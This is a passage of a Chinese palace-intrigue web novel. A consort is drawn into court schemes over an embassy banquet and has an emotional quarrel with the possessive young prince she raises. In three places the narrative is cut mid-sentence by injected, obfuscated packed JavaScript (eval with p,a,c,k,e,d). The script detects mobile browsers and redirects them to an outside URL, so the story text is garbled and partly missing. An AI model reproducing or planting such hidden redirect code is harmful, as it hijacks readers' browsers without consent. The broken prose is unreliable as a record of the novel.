“你不用害怕。”文淑妃柔声安抚,“我知晓得也不多,只是我父亲在户部供职,才多少听到一些风声。” 于少微蹙起眉头,心头灵光一闪,试探着问道:“难道……谢贵妃此举,与那军饷亏空有关?” “聪明。”文淑妃拊掌赞叹。 她倾身向前,声音压得更低:“你想想,番使入京,沿途安保、驻驿安排,这里头牵扯多少人事调度,多少物资采买?这可是块明晃晃的肥肉,朝中多少人盯着呢。如今被谢家一口吞了去,他们只需寻些由头,把账目做得天衣无缝,便能名正言顺地向户部申领巨额经费。到时候,刨去实际开销,剩下的银两可不就尽数流入谢家的私库了?” 文淑妃眉眼神色淡淡,眼底却汹涌着浓浓的愤恨,似是有人从她身上叼下一块肉般。 于少微沉默地在一旁喝茶,何止是钱财,她突然想到,若是由谢家来做这事,那番使的行踪不也尽在他们的掌握之中了吗? 文淑妃自是不能咽下这口气,快速把于少微打发走后,当晚就写了封密信送出宫。隔日一早,其父便联合礼部尚书,在朝堂上发难。二人以“番夷宴需合乎《周礼》,彰显天朝上国文脉”为由,力谏陛下,恳请由礼部与户部共同执掌宴席流程、礼乐编排及番使接见的礼仪规制。又道“宴席器物需雅致精巧,不可流于粗犷”,顺势将餐具采买、宫室陈设、番使伴手礼的置办之权,尽数揽入两部囊中,半点余地也没留给谢家。 于少微在未央宫听到这个消息,皱眉思索了一会儿,抬头看向坐在上首的陈皇后求助道:“娘娘可知他们抢这礼仪之权有何作用?” 陈皇后放下手中的书册,轻轻瞥了她一眼,徐徐道:“你可知访番国使臣与学官二职?” 于少微迟疑地点点头,她大概知晓。 “此番修订番夷宴的礼仪典籍,便是一份实打实的功绩。”陈皇后声音平静无波,“有了这份功绩,日后举荐去任那两职,便是水到渠成,你且想想,若能奉旨出使番邦,归国之后又会是何等光景?” 于少微霎时恍然大悟,那是去番邦镀一层金啊!归来之后,官路必然亨通,更不必说那些职位在番邦享有的供奉,更是丰厚得令人咋舌。果然,这些做官的,心眼子多得就像那筛米的漏勺,半点便宜都不肯放过。 皇后见她明白了,不再多言,只淡淡道:“今晚陛下招你侍寝,你先回去准备吧。” 于少微愣在原地,看着皇后离去的背影,她其实心里隐隐早有预感,但这来得到底比她想象中要快。 * 太和殿 于少微去的时候庆帝还在正殿处理奏折,她走到寻常等待的地方坐下,细细梳理近来的思路。 门外传来响动,她下意识想起身,动作做到一半,忽然回神方才并没有通报声,她又重新做好,警惕抬头看去。 进来的是一个鬓角微白的内侍,是庆帝身边的胡公公。 “怎的公公亲自来了?是陛下有什么吩咐吗?”于少微微笑起身。 胡公公朝她行了个礼,道:“婕妤,陛下有请。” “陛下让我过去是有什么事吗?”于少微跟着胡公公走出寝殿,试探着打听。 胡公公只含笑道:“娘娘去了便知。” 于少微心中了然,知晓再问亦是无益,遂敛了心神,再不言语。 这是她头一遭踏入太和殿正殿,赤金蟠龙烛台上,臂腕粗的宫烛燃得正旺,暖融融的光晕淌满殿宇的每一处角落。脚下铺着西域进贡的缠枝莲纹绒毯,厚密得仿佛能将所有脚步声尽数吸纳,殿角的紫铜兽首熏炉里,上好的银丝炭烧得通体赤红,无声散出融融暖意。庆帝就坐在殿中间那张紫檀木嵌螺钿御案之后,案头堆积的奏折分作两摞,如山岳般沉默对峙,泾渭分明。 明亮的烛火正好落在一方御案上,在他紧蹙的眉峰下投下一片沉沉阴影,于少微不由自主屏住了呼吸,生怕惊扰了这肃穆的氛围。 “陛下,于婕妤到了。”胡公公低声禀报。 庆帝闻声抬眸,目光落在殿中亭亭而立的身影上,抬手朝她招了招,声音沉缓:“过来,到朕身边来。” 于少微依言走近,在御案旁的锦凳上落座,这才惊觉殿内早已空无一人。不止胡公公悄然退去,连原先侍立在侧的宫娥太监,也不知何时尽数消失,唯余一扇禁闭的大门,将外间的喧嚣隔绝。 “听闻皇后说,你近来在帮她打理后宫宫务?”庆帝将案上摊开的奏折随手推至一旁,端起手边的茶盏,慢条斯理地啜了一口。 “臣妾不过是在旁打打下手,略尽绵薄之力罢了。”于少微垂眼道。 “你不必自谦,皇后说你做得很好,就连淑妃也对你赞赏有佳。”庆帝语调平平,倒也没听出多少夸奖。 于少微抿出一个微笑,恭敬道:“臣妾多谢娘娘们抬爱。” “近日关于番夷宴的事情都听说了吗?”庆帝拿起朱笔在方才的奏折上划下一笔。 于少微心头一凛,一时摸不准他的态度,只得谨慎回道:“臣妾居于后宫,只隐约听闻一些风言风语。” 庆帝轻笑一声,“贵妃与淑妃尽职尽责,一个替她父兄请了番使安排的差事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这般与往日截然不同的亲昵腔调,听得于少微脊背泛起一层细密的鸡皮疙瘩,她暗自庆幸身上穿得厚实,不至于露了破绽,忙仰起脸,装作一副受宠若惊的模样,欣喜道:“臣妾定不负陛下所托!” 庆帝满意地点点头,旋即又绕回方才的话题,语气像寻常唠家常般不紧不慢:“你父亲近来,可曾与你提及谢家的事?” 于少微被突然的提问打得有些发懵,下意识摇了摇头,“父亲从未与我提过。” “哦?”庆帝挑眉,“你竟不知,你的亲妹妹快要与谢家五公子定下婚约了?” 于少微仍是摇头,心头已是一片惊涛骇浪:“母亲……母亲并未与妾身提及此事。” “哦?”庆帝的语调陡然上扬,尾音里掺了几分不易察觉的怒意,“于家连这等大事都瞒着你?” 于少微惊觉自己说错了话,侧脸往庆帝的胸膛贴了贴,柔柔道:“母亲许是怕臣妾提前知晓了替妹妹操心,所以想等事情定下了再通知臣妾。” 庆帝似笑非笑地睨了她一眼,语气意味深长:“原来如此,只是一家人骨肉相连,哪有什么操不操心的说法。爱妃……还需再努力些才是。” 于少微抿紧了唇,表情略略严肃,“臣妾知晓了。” 庆帝低头看她,伸手替她揉了揉紧蹙的眉心 “吓到你了?”他温和道。 于少微低着头抬眼看他,抿出嘴角下两个梨漩。 庆帝低低笑了两声,胸腔发出轻微的震颤。 “你父亲与镇国将军走得颇近。”他忽然敛了笑意,声音沉了几分,“宫里的事,宫外的事,朕需要你替朕看着。” 言罢,他褪下食指上那枚翠玉扳指,攥过于少微的右手,慢悠悠地将那枚还带着体温的玉扳指套在了她的拇指上。 26. 第二十六章 次日于少微在太和殿与庆帝一起用完早膳后才回到晴雨阁,顶着一脑门官司和匮乏的睡眠,她蔫头巴脑地跨进自己的寝宫,正准备绕过屏风去内室躺着,目光突然被小几上摆的一方食盒吸引。 心里隐隐有了预感,她退着步子倒了回去,好奇地将盖子揭开,里头端端正正摆着一碗白粥。这粥闻着有股淡淡的乳香,旁边还摆着几个小碟,里面是果干和腌菜,她摸了摸,瓷碗还是温热的。 “小厨房今早做了酪粥?”于少微放弃回榻上躺着的想法,一屁股挨着罗汉床坐下,搓搓手将食盒里的东西端了出来。 “我来吧婕妤。”槐序连忙走上前帮忙,于少微用胳膊肘制止了她的动作,她只好站在旁边解释道:“是的呢,五殿下早膳时看见了,知道您喜欢,特意嘱咐给您留的。” 这酪粥是用牛乳加大米一同熬煮而成的乳粥,口感香醇浓厚,滋味甘甜,于少微很喜欢吃,不过小厨房不常做,她为了给自己添一些日常的惊喜,从不主动吩咐厨房去做,只等着某天早上醒来时发现早膳里有它,享受那种不期而遇的美丽心情。 温热的酪粥顺着喉管流入胃里,胃暖和了,心也跟着妥帖,她又夹了筷子腌菜拌着吃,亓轸吃它喜欢放蜂蜜和果干,她却觉得这粥本身就有淡淡的牛乳与大米的香甜,再配蜂蜜就有些甜腻了,所以她一向喜欢配腌菜吃,偶尔撒些果干。 真好!于少微捧着碗幸福的感叹,粥的滋味美妙,得人惦记更是抚慰了她在外头被风吹雨打的心灵。 庆帝交代的那些事,实话说她并不抵触,但这不代表她不怕死——好吧,若只是死她其实也无大所谓,但是她怕痛呐!她现在要做的这些事情,足够她给自己招惹几个敌人,稍有不慎事情败露,她怕是没什么好下场。 会有人保她吗? 于少微出神的想,电视剧小说不都这么演的吗?危急时刻的从天而降,她如今都穿越了,怎么算不上主角呢? 她心不在焉的喝了一勺粥,嗳,真好喝……温柔的晨阳化作光斑在她手上、桌上跳跃着,她怔怔看着,很快就把自己说服了,大好春光,又何必想那么多,未来之事虚无缥缈无迹可寻,带着坏情绪品味喜欢的食物才真是大罪过。 亓轸并不知自己留的粥带给了于少微怎样的抚慰,此刻他正同样心不在焉的坐在靠窗的位置听夫子讲学,昨日于少微没接他下学,也没和他一起用晚膳—— 熟悉的烦躁涌上心头……少年面无表情,他明白在宫中受宠是好事,原先在贤妃宫里,那个女人巴不得天天见皇上,甚至不知从哪得来的消息,还尝试过把他弄病好凭此把皇上从别处拉来,可惜她高估了他的作用,精心打扮的女人没等来威严俊美的君王,来的只是提着药箱的白胡子太医。 太医走后,贤妃对着他骂骂咧咧,气得掐了他好几下,这也不是她第一次拿他撒气,他病得厉害没力气像以前一样反抗,女人觉得没意思,骂骂咧咧几句就让人把他抬回自己的寝宫,照顾他的人只有禄子。 至此他长记性了,收了性子,不再忤逆贤妃,也不再明着和她作对,假装自己是团空气,无论打骂讽刺通通不吭声,他的日子安生许多,再后来,贤妃死了,他又来到这里。 半年的光阴似乎比他过去十几年都要丰富,他突然意识到,原来日子是不用熬着过的,夜晚睡前是会对新的一日有期待的……而带给他这些的人—— 少年眼神幽深,他不喜欢她与别人亲近,就算那人是她的夫君,他的父皇也不行。 他理不清自己的心,也无意剖析,这些都是无关紧要的事情,重要的是她的眼里有他,只能有他。 她喝那碗粥了吗? 亓轸想得有些出神,不知原本坐在案首讲学的夫子已然踱着步子来到他身边。 “五殿下在想甚?” 书案被戒尺轻敲,夫子严厉的声音从头顶传来,亓轸瞬间敛了心神,恭敬道:“学生知错。” 少年认错态度良好,夫子也不能真的与皇帝的儿子计较什么,只得淡淡颔首,拂袖离开,文华殿内又响起讲学的声音。 亓轸竖耳听了一会儿,目光又不自觉游离到窗外。 于少微等他下学的位置空空荡荡,他却觉得那块青砖很是可爱,红檐映着蓝天,没有云的日空宁静悠远,很是旷达,也难怪亓澈换位置时那么不情愿。 他现在坐的原是亓澈的位置,但由于他年前去东宫听了几天学,亓轩越发针对他,总喜欢在课上搞些不入流的小动作,他不堪其扰,当即找亓澈换了位置。 亓澈原是不愿意的,但亓轩搞的那些动静他也是瞧见的,再看到素日淡漠寡言的亓轸对着他温言请求,他纠结了一会儿,虽表情不甚请愿,但还得点头答应了。 “谢谢六弟。”亓轸一脸感激地看着他,“下次我母妃做了栗子糕我一定送一盘给你。” 亓澈面上瞬间露出喜色,于少微做的栗子糕很好吃,上回她来接亓轸时他分到一块,他尝了尝味道很好,只咬了一口就念念不舍地小心包在帕子里,他想妹妹肯定喜欢。 果然亓珈也喜欢得很,两人吃完一齐缠着德妃要,德妃让自己宫里的厨子去做,却怎么都做不出那个味来,兄妹俩心心念念,于少微知道后特地送了一盘过来,但由于她也不常做,兄妹俩总馋得很。 亓澈觉得自己再有几月就要满十三了,不能表现得如此贪吃,听了亓轸的许诺他故作镇定得咳了咳,道:“那,那就麻,麻烦于娘娘,我其实没,没什么的,奈何亓珈实在是喜,喜欢得紧。” 亓轸扬了扬眉,没有拆穿,只是点了点头,回去收拾自己的书案了。 耳边的讲学声渐渐停下,夫子宣布课间休息,候在门外的内侍们立马提着东西进了书房,伺候自家殿下喝水休息。 亓轸慢慢啜着杯里的热茶,目光在前方二皇子与四皇子的背影中游移,这两人今日格外不对付,课上处处较劲,脑海里浮现近日得来的消息,他低头看着杯中还冒着热气的茶水,陷入了沉思。 * 晴雨阁 于少微一觉睡到中午,用完午膳后又跑了几个地方整理事务,然后便带着东西去未央宫进行例行汇报。陈皇后的书案上放着一本厚厚的册子,于少微只看了一眼就收回了目光,将自己近日的工作呈了上去。 陈皇后接过册子,当即细细翻阅,殿内静悄悄的,只余书页翻动的轻响,于少微垂手静坐一旁,敛眉屏息,静待皇后批阅。 约莫半柱香的功夫,皇后将册子轻轻搁回案上,抬眸看向她时眼底漾着几分暖意:“你做得很好。” 于少微羞涩地抿了抿嘴,表情真挚:“都是托娘娘的福,臣妾在您身边学到很多。” 皇后摆了摆手,“本宫教了什么心里自然有数,你的确很有能力。” 陈皇后看她的眼神很温柔,像是秋日带着桂花香气的日光,照在身上让人觉得温暖,与淑妃不达眼底的温柔不同,于少微每次见了都觉得很亲近,但有时她又感觉那眼神很空茫,像在看她,又不是她。 “听闻陛下准你回府省亲?”皇后忽然开口,打断了殿中的静默。 于少微点头,“日子还未定下,不过陛下的意思是让臣妾尽早动身,想来也就是这几日的事了。” 皇后闻言,略一思忖,便转头对身侧侍立的女官吩咐道:“去,把本宫库房里那柄羊脂玉如意取来。” 女官应声退下,不多时便捧着一个漆木匣子回来,陈皇后亲手接过匣子,递到于少微面前,又轻轻拍了拍她的手背, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928996|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温声道:“你回府时将这个带上,就说是本宫赏的,替你添份回门的体面。” 于少微看着两人交叠的手,心头微微一动,深宫之中,人心隔肚皮,人人行事皆有算计,可此刻她却愿意相信,皇后待她总归是有几分不假修饰的真心的。 “有拿不准的事情就让人给本宫传话。”皇后收回手,身子微微向后倚去,靠在软枕上,又用那种温柔的目光看着她。 “娘娘的腰又不舒服了吗?”于少微注意到皇后的动作。 “不碍事,老毛病了。”皇后摇了摇头,示意她安心坐着。 于少微只得放弃上前替她揉按的念头,倾身着身子恳切道:“要不,臣妾去传太医来给娘娘瞧瞧?” 陈皇后扶了扶鬓角,温言道:“上午才叫太医来诊过脉,没什么大碍,不过是年岁见长,身子骨不比从前,难免添些这样那样的小毛病。” “娘娘说的哪里话。”于少微闻言摇了摇头,“您才刚过三十六岁生辰,正是风华正盛的时候,哪里就谈得上‘年岁见长’了?” 陈皇后看着面前女子青春朝气的面庞,自嘲地笑了笑,“你不必安慰本宫什么,本宫心里都清楚。” “欸……”于少微还想再言,但对上那张平静的面容,还是默默将话咽回,只是微微下撇的嘴角仍然表示着她的不赞同。 陈皇后眼神有一瞬的恍惚。 “娘娘?娘娘?” 女子清冽的嗓音将她拉回了现实,陈皇后眸光微动,匆匆移开视线,伸手将案上的册子推回给她:“你先走吧,本宫想歇息了。” 于少微捧着玉如意的匣子和文书起身,眉宇间满是担忧:“真的不用传太医吗?臣妾这就去……” 皇后没有说话,只是轻轻阖上了眼眸,身侧的女官见状,连忙上前一步,柔声劝道:“婕妤不必挂心,娘娘自有分寸,您且放心回去吧。” 见二人态度坚决,于少微不好再执意相劝,只得躬身行礼,捧着东西,一步三回头地退出了未央宫。 * “把这些东西收好吧。” 于少微刚踏回晴雨阁的寝殿,便将手中的匣子与册子一并递给侍立一旁的青阳。 青阳接过东西转身正要往偏殿的库房去,才走了几步,却忽然“啊”地轻呼一声,脚步猛地顿住。 “娘娘!”她快步折返。 于少微正抬手解着颈间的玉扣,闻言动作一顿,回眸看她:“怎么了?” “这不是您的,上面的章不一样。”青阳举着册子道。 于少微听了,赶忙接过册子查看,的确不是她的,这印章是……是淑妃的私印!她竟然把淑妃呈给皇后的东西带回来了。 “怎么办娘娘,趁着淑妃娘娘还未发现,咱们要不现在去找皇后娘娘换回来吧。” “先别声张。”于少微抬手制止,“你先出去吧,将门关好,此事不要对任何人提起。” 青阳见她神色凝重,不敢再多言,只得应声退下。 她方才去找皇后时就在她案上看见了它,瞟到上面淑妃的章后她就迅速收回了目光,在这个时候直接交给皇后而不由她经手,大概率是番夷宴的东西。 以皇后的缜密心思,她不太愿意相信是其失手错拿给她,更大的可能是,皇后是故意让她看到这本册子的。想到这,于少微翻开了册子,是一份采买记录,里面罗列的全是番夷宴所需的器物摆件,小到金银酒盏,大到屏风帷幔,下头还一一标注了采买的商号铺名,字迹工整,一目了然。 她耐着性子一页页翻过去,从头至尾看了两遍,却丝毫看不出有什么蹊跷之处。案头的烛台燃了大半,窗外的日头也渐渐西斜,门外传来青阳轻细的脚步声,她轻轻提醒道,该去接亓轸下学了。 27. 第二十七章 “你能帮我看看这个吗?”晚膳后于少微将淑妃的册子递给了亓轸。 往常两人吃完饭就各自回屋,于少微今日突然的邀请让亓轸有些兴奋,不料等跟着人到了寝宫,才发现原是有事相求,少年伸手接过册子,心里有些不是滋味。 “您是从哪拿到这个的?”亓轸发现这是番夷宴的采买单子,眉头蹙了起。 “皇后娘娘给我的。”于少微不打算藏私,开诚布公道。 “嗯?”亓轸歪了歪头。 “我待会儿再与你解释,你先告诉我这册子有没有问题?”于少微轻轻推了下少年的脑袋。 亓轸动作顿了顿,又低头将册子翻了一下,半响,肯定道:“里头的数目、价格、店铺都没有问题。” 那就奇怪了,于少微垂眸沉思,难道真是她想多了? “真的没问题吗?”她还是不死心。 “嗯……”亓轸有些迟疑道:“采买是淑妃负责吗?” 于少微颔首。 “那我建议您去查查名单上铺子的货源和库存,还有最近的出货情况。”少年肯定道。 “怎么说?”于少微凑近了些,去看亓轸手上的册子。 “这个,这个,还有这个。”亓轸瞥了一眼突然靠近的人,干脆指出几个器物的名目,“淑妃家里在京中是有瓷器坊与绸缎庄的,她或许会在这之中做手脚。” 于少微恍然,毫不吝啬的夸奖道:“果然找你没错!不过轸儿怎会知道如此之多?” 亓轸缩了下肩膀,睨了于少微一眼,“您还是唤我亓轸吧。” 于少微随意点点头,又催促道:“你还没回答我的问题呢。” 亓轸摊手,“我自小长在宫中,又无人庇护,总得有些法子。” 少年语气平淡,于少微却从中品出了几分凄楚,她忽然想摸摸他的头,手伸到一半,又猛地顿住,片刻间,她手腕一转,力道沉沉地拍在少年肩头,煞有介事道:“本事不小啊你!” 亓轸被拍得晃了晃,他稳住身形,嘴角露出一抹浅浅的笑容。 “但是我应该如何证实这个消息呢?”于少微小声嘀咕,她在宫外可是一个人都没有啊。 “您要查?”亓轸也凑近了些。 于少微点点头,”我想查。” “交给我吧,我能帮您查。” “如果您信任我的话。”亓轸又飞快补了一句。 “当然信得过!”于少微想也不想地应下,随即才反应过来,眼睛一亮,“欸,你方才说你能查?” 亓轸含笑颔首。 “太好了!”于少微拊掌,她就知道找亓轸没错,不枉费她纠结那么久。 于少微双手合十,对着少年轻轻晃了晃,语气满是恳切:“那就拜托你了!”忽然意识到自己这样不够稳重,她又轻咳了一声沉声道:“有什么需要我做的你尽管来找我。” “还真有件事需要拜托您。”亓轸扬了扬眉毛。 于少微收敛了笑容,做出洗耳恭听状。 “拜托您替我做一些栗子糕,我明日带给亓澈。” “没问题。”于少微干脆答应,转念却觉不对,追问道:“不过……是带给亓澈?” 她敏锐的察觉到不对劲:“你在文华殿是不是又发生了什么?” 亓轸轻轻摇头,“无事,只是我与亓澈换了个位置,栗子糕是我答应他的报酬。” “好端端的换什么位置?”于少微不信。 “窗外的风景好些。”亓轸半真半假地答道,迎上于少微愈发怀疑的目光,他无奈地耸耸肩,这才补了句实话,“坐在亓轩身后,实在太容易影响我听学了。” “他是不是又找你麻烦了?”于少微下意识地皱紧眉头,语气陡然沉了下来。 此言一出,两个人都愣住了,年前被刻意忽略的东西被突然摆在了明面上。 “呃……我是说……算了你说吧。”于少微放弃挣扎,双手抱胸靠回椅背。 亓轸沉默良久,才低声道:“算不上找我麻烦,只是他近日上课时会有些小动作容易妨碍到我。” “近日?”于少微猛地直起身,语调瞬间拔高。 亓轸抿紧唇,一言不发。 “你为什么不与我说?”于少微语速加快,语气不善。 亓轸抬眼瞥了她一下,忽然轻声道:“您也没发现我换了座位。” 于少微被这句话堵得一噎,险些气笑出声:“你这是在怨我?” “儿臣绝无此意。”亓轸垂下眼,与方才的模样大相庭径。 于少微盯着他看了半晌,抓起桌上的茶杯往嘴里灌了几口,茶水早已凉透,涩意顺着喉咙一路往下,激得她心头的烦躁更甚,她重重将茶杯顿在桌上,“砰”的一声脆响,在寂静的殿内显得格外刺耳。 亓轸耳朵动了动,没有抬头。 于少微快被他这副死人样给气死了,怎么,和她说一下是难事吗?还是说他根本就不相信她?既然如此,年前和现在又摆出这副死样子给谁看?就非要她追在屁股后面问吗?她就一定要时时刻刻注意他,关注他吗? 凭什么?他亓轸凭什么?真把她当娘了?她就该啥都不干成天围着他转,他开心就赔笑,他蹙眉就气愤,指哪打哪全然为他活? 笑话!于少微攥紧了茶杯。 女子用力的手背冒出青筋,亓轸望着那抹刺目的青,内心困惑,他实在不懂她究竟在气什么?他只是希望她能多看看他,多关注他,他喜欢看到她为自己生气和喜悦的模样,这种全然因为他而产生的情绪让他有一种被看见的感觉。 既然能看见他,为什么不能再多看一些?为什么要让他时而为她的关心而开心,时而又因为忽视而难过?他只是希望能被毫无保留的看见,他只是想要她全部的关注与爱,难道爱不是这样的吗?如果她不愿意,又为什么要靠近他? 两人就这样沉默了许久,互相僵持着,谁也不愿意开口。 门外突然传来一阵极轻的脚步声,紧接着,青阳推门而入,身后还跟着一位内侍,于少微定睛一瞧,认出那是庆帝身边的孙公公。 “婕妤不必多礼,坐着便是。”孙公公笑眯眯地拱手,“奴才是奉陛下之命,来给婕妤送个好消息的。” 于少微压下心头的郁气,挤出一抹笑:“公公可真会吊人胃口,既是陛下那边的好消息,还望公公快快说与我听。”她说着,不动声色地朝槐序递了个眼神,槐序心领神会,立刻从袖口摸出一个沉甸甸的钱袋,快步上前就要塞给孙公公。 “欸,使不得使不得!”孙公公连忙抬手推辞,“陛下念及婕妤入宫日久,思乡情切,已然准了您省亲的请求,日子就定在三日后。陛下还体恤您,特意赏了好些东西让您带回于家去,稍后便会着人送来。” “原来是这事。”于少微连忙起身,从槐序手中接过钱袋塞到孙公公手里,软声劝道,“公公是来给我报喜的,这不过是些薄礼,您就收下吧,权当沾沾喜气。” 孙公公推辞不过,只得收下,脸上的褶子笑成了一朵花,连连赞叹:“婕妤这般气度,无怪陛下这般爱重您。” 于少微陪着笑了几句,吩咐槐序将人送到宫门口。 外头的人声与脚步声渐远,屋内重新恢复安静,于少微转过身,目光落在依旧僵坐在原地的少年身上,心里忽然涌上一阵疲惫,“时候不早了,你先回去吧。” 亓轸肩膀颤了颤,没有动作,只抬头看她眼睛:“刚刚孙公公说父皇准您回去省亲是什么意思?” 于少微似笑非笑:“就你听到的意思,回于家,看望父母。” 亓轸沉默地看着她,忽然摇了摇头:“您不愿意告诉我。” “你也不愿意告诉我啊。”于少微回了一句,绕过少年准备回内室。 亓轸忽然有些慌乱的抓住她的衣袖。 “放手。”于少微垂眼看向被攥住的衣袖,语气又轻又冷。 亓轸直接顺着衣袖攥住了她的手腕,“不,不是的!”他急切辩解。 于少微轻轻挣了挣手腕,没能挣开,索性停下脚步,好整以暇地睨着他:“不是什么?我说的话有哪里不对吗?” 亓轸张了张嘴,喉咙却像是被什么堵住了一般,一个字也说不出来。 “我下次……下次一定会与您说的。”少年的声音很低,带着几分无措的嗫嚅。 于少微肩膀一沉,一股无力感爬满全身,她忽然觉得很没意思。 “行啊。”她淡淡应道,“你下次与我说,我也下次再与你说。” 说罢,她用力扯出自己的手腕,抬脚便走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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亓轸脑袋里闪过片刻的懵怔,他手上的动作用力了一些,他还是不明白她突如其来的怒火,但他知道,今晚他们一定不能这样算了。 “我…我……”少年的声音染上了浓浓的落寞,“你是第一个看见我…我是说您是第一个对我好的人,从我出生开始……” “我只是想抓住您,抓得更紧一些……我不知道该如何对待您,我只是,只是想要更多……” 于少微沉默地看着面前垂头丧气的少年,良久,她叹了口气,似是为旁人,又似是为自己。 “我很匮乏。”她的声音轻得像一阵风,“我没法给你更多。” 亓轸抬眼看她,眸中尽是伤心之色。 “你没有被爱过,我也没有,我的感情很少很宝贵,你是我这深宫中唯一的亲人,我愿意对你好,关心你,爱护你,但我也只能做到这样,你不能对我要求太多。” 于少微觉得自己的胸膛空荡荡的,她有些茫然,又有些怨恨,最终轻轻叹道:“我只能如此。” 亓轸似懂非懂地看着她,心脏被巨大的悲伤塞满,不知是对自己,还是因为她。 面前的人很轻很轻,连那轻轻的叹气声都会令他心紧,他害怕她会随着这微弱的气流消散。 “我会去爱您的,我在爱您!一直在!我会对你好,关心你,爱护你!”亓轸急切的想证明。 “嗯。”于少微轻轻点头,她想起今早的酪粥,未央宫等待的身影,暖房里长高的橙树…… “我看到了。”她把手放在自己心脏的位置。 亓轸略略松了口气,又小心翼翼地看她,“我会改的。” 于少微忽然笑了,唇角的梨涡隐约现出,像是枝头浅淡的杏花,她的眼里闪过一丝奇异的光,“我知道了。”她一字一顿道。 亓轸走近她,慢慢俯身蹲下,似蜗牛伸出触角般,试探着小心翼翼地将脑袋虚虚枕在她的膝上,于少微没有拒绝,她用细白的手指轻轻抚着他柔顺的黑发,女子身上的馨香盈满鼻尖,少年眼底漫过浓浓的痴迷与眷恋。 28. 第二十八章 “行了,起来。”于少微拍拍膝盖上的脑袋。 亓轸不情不愿的抬起头,咕哝道:“您还没告诉我孙公公说的事。” 于少微又推了推歪在她身上的少年,嫌弃得啧了一身:“坐好,没长骨头啊。” 亓轸没理,转了一下脑袋改用额头抵着她的肩膀,装作没听见。 于少微无奈,只能随他去了。 “陛下让我替他盯着于家。”她“砰”得一声丢下一个惊雷。 “哦,还有谢贵妃与文淑妃,也要盯。”于少微一边补充一边偏头去看少年的反应。 “?”她发现亓轸的表情还没有刚刚与她吵架时丰富。 “你不惊讶?”她有些失望。 亓轸“嗯”了一声,语气平常,“大概能猜得出来。” “父皇什么时候与你提的?”他又道。 “昨晚。先不说这个了。”于少微不欲于他再进行这个话题,转而挑眉上下扫视了他两眼,最后将目光定格在少年微垂的眼睫间,“你比我想的要更有本事些。”她语气肯定。 亓轸用脸在于少微肩头蹭了蹭,声音闷闷的:“您真有眼光,儿臣的确很有本事。” 于少微“扑哧”一下笑出声,扭了扭左肩膀,“说说看,你是怎么猜出来的?皇上的意思很明显吗?你能猜出来那别人会不会也——” “母妃!”亓轸难得喊一声母妃,他平常总觉的这称呼别扭,很少叫。 “您也太轻看我了,还有父皇。”少年面带幽怨,“父皇的目的是旁人能随便看出来的吗?还有我,您刚刚还夸我有本事。” 于少微松了口气,睨了他一眼,振振有词道:“事关我性命的事,再多小心都不为过。” 亓轸抬脸去看她,表情郑重:“我会护着您的。” 于少微忽然有点不适应,低下头刚想调侃两句,目光移向少年的刹那忽然定住了 不知道是不是混了外族血统的缘故,少年的面庞看起来要比旁人更加深邃立体,狭长的眸子里闪着点点绿意,此刻如同灯下的翡翠般温润,倒影着她的影子。 于少微不自觉屏住呼吸,下意识低下头想要看得更清楚些,亓轸仰着脸不动声色地看着她一点点靠近……温热的呼吸喷洒在颈侧,于少微陡然一个激灵,眼神瞬间恢复清明。 她有些懊恼的皱了皱眉,刚刚仿佛被夺舍了一般,下意识暗叹美色误人。亓轸早已收回了目光,没事人似的靠着她的肩膀,仿佛刚刚的情形都是她的错觉。 是错觉吗? 于少微眉尾下撇,她本能的察觉到一丝…危险,对没错,就是危险,但……她怀疑的向下瞟了眼亓轸,少年正垂眸把玩着自己腰间的玉佩,于少微咬了咬唇 是错觉。 察觉到落在身上的目光移开了,亓轸默默探了下自己的鼻息,瘪了瘪嘴,伸出一根手指戳了戳于少微的手臂 “嗯?”于少微挑眉,目光投向别处。 “我能和您一起去于家吗?” “怎么突然想到这个?”于少微疑惑,于家有什么好去的。 “我想陪着您。”亓轸眼里流露出半分担心。 于少微笑了,“我回自己家有什么好操心的,我现在是皇上的妃子,他们不能拿我怎样。” 不过看到亓轸坚持的模样,她软了语气:“谢谢啊,我明日找个时间去向你父皇请示。” 亓轸摇头:“不用,我自己去找父皇就行。” 于少微寻思着这样最好,省得她还专门找些理由怪麻烦的。 “那你看着来就行,有需要就来找我。” 亓轸点头。 感觉到少年的下巴像小鸡啄米似的一下下戳着自己的肩膀,于少微莫名起了鸡皮疙瘩,她推了推肩头的脑袋,假装嫌弃道:“嗳唷喂你赶紧起来吧!” “靠那么久给我肩膀都靠酸了,看不出你脑袋还挺沉的。”她语带调侃。 亓轸顺势起身坐直,安静一瞬,抬眼看她表情认真道:“或许是因为我聪慧。” 于少微斜了他一眼,努着嘴怪声怪调道:“那您可要宝贝好你的千金脑袋,我这没二两肉的肩膀可是担当不起。” “都长那么大个了还往我身上靠,也不事先掂量一下自己的斤两。”她小声嘀咕。 亓轸深以为然:“您的确太瘦了。” 于少微闻言翻了个大大的白眼:“臭小子懂个屁!” 亓轸无奈摊手。 “行了不和你闹,交代你的事尽量早点办好。”于少微抬下巴,示意案上的册子。 “最好能在我——” “最后能在您省亲前。”亓轸补完了她想说的话。 “聪明!”于少微打了个响指,“不愧是千金脑袋!” 亓轸的头发被她狠狠揉了一把,少年顶着歪掉的头冠,眼皮子都没抬一下,待人收回了手,他又飞快往于少微的脑袋摸了两下。 “你干什么!”于少微惊叫,倒反天罡啊!倒反天罡啊这是! 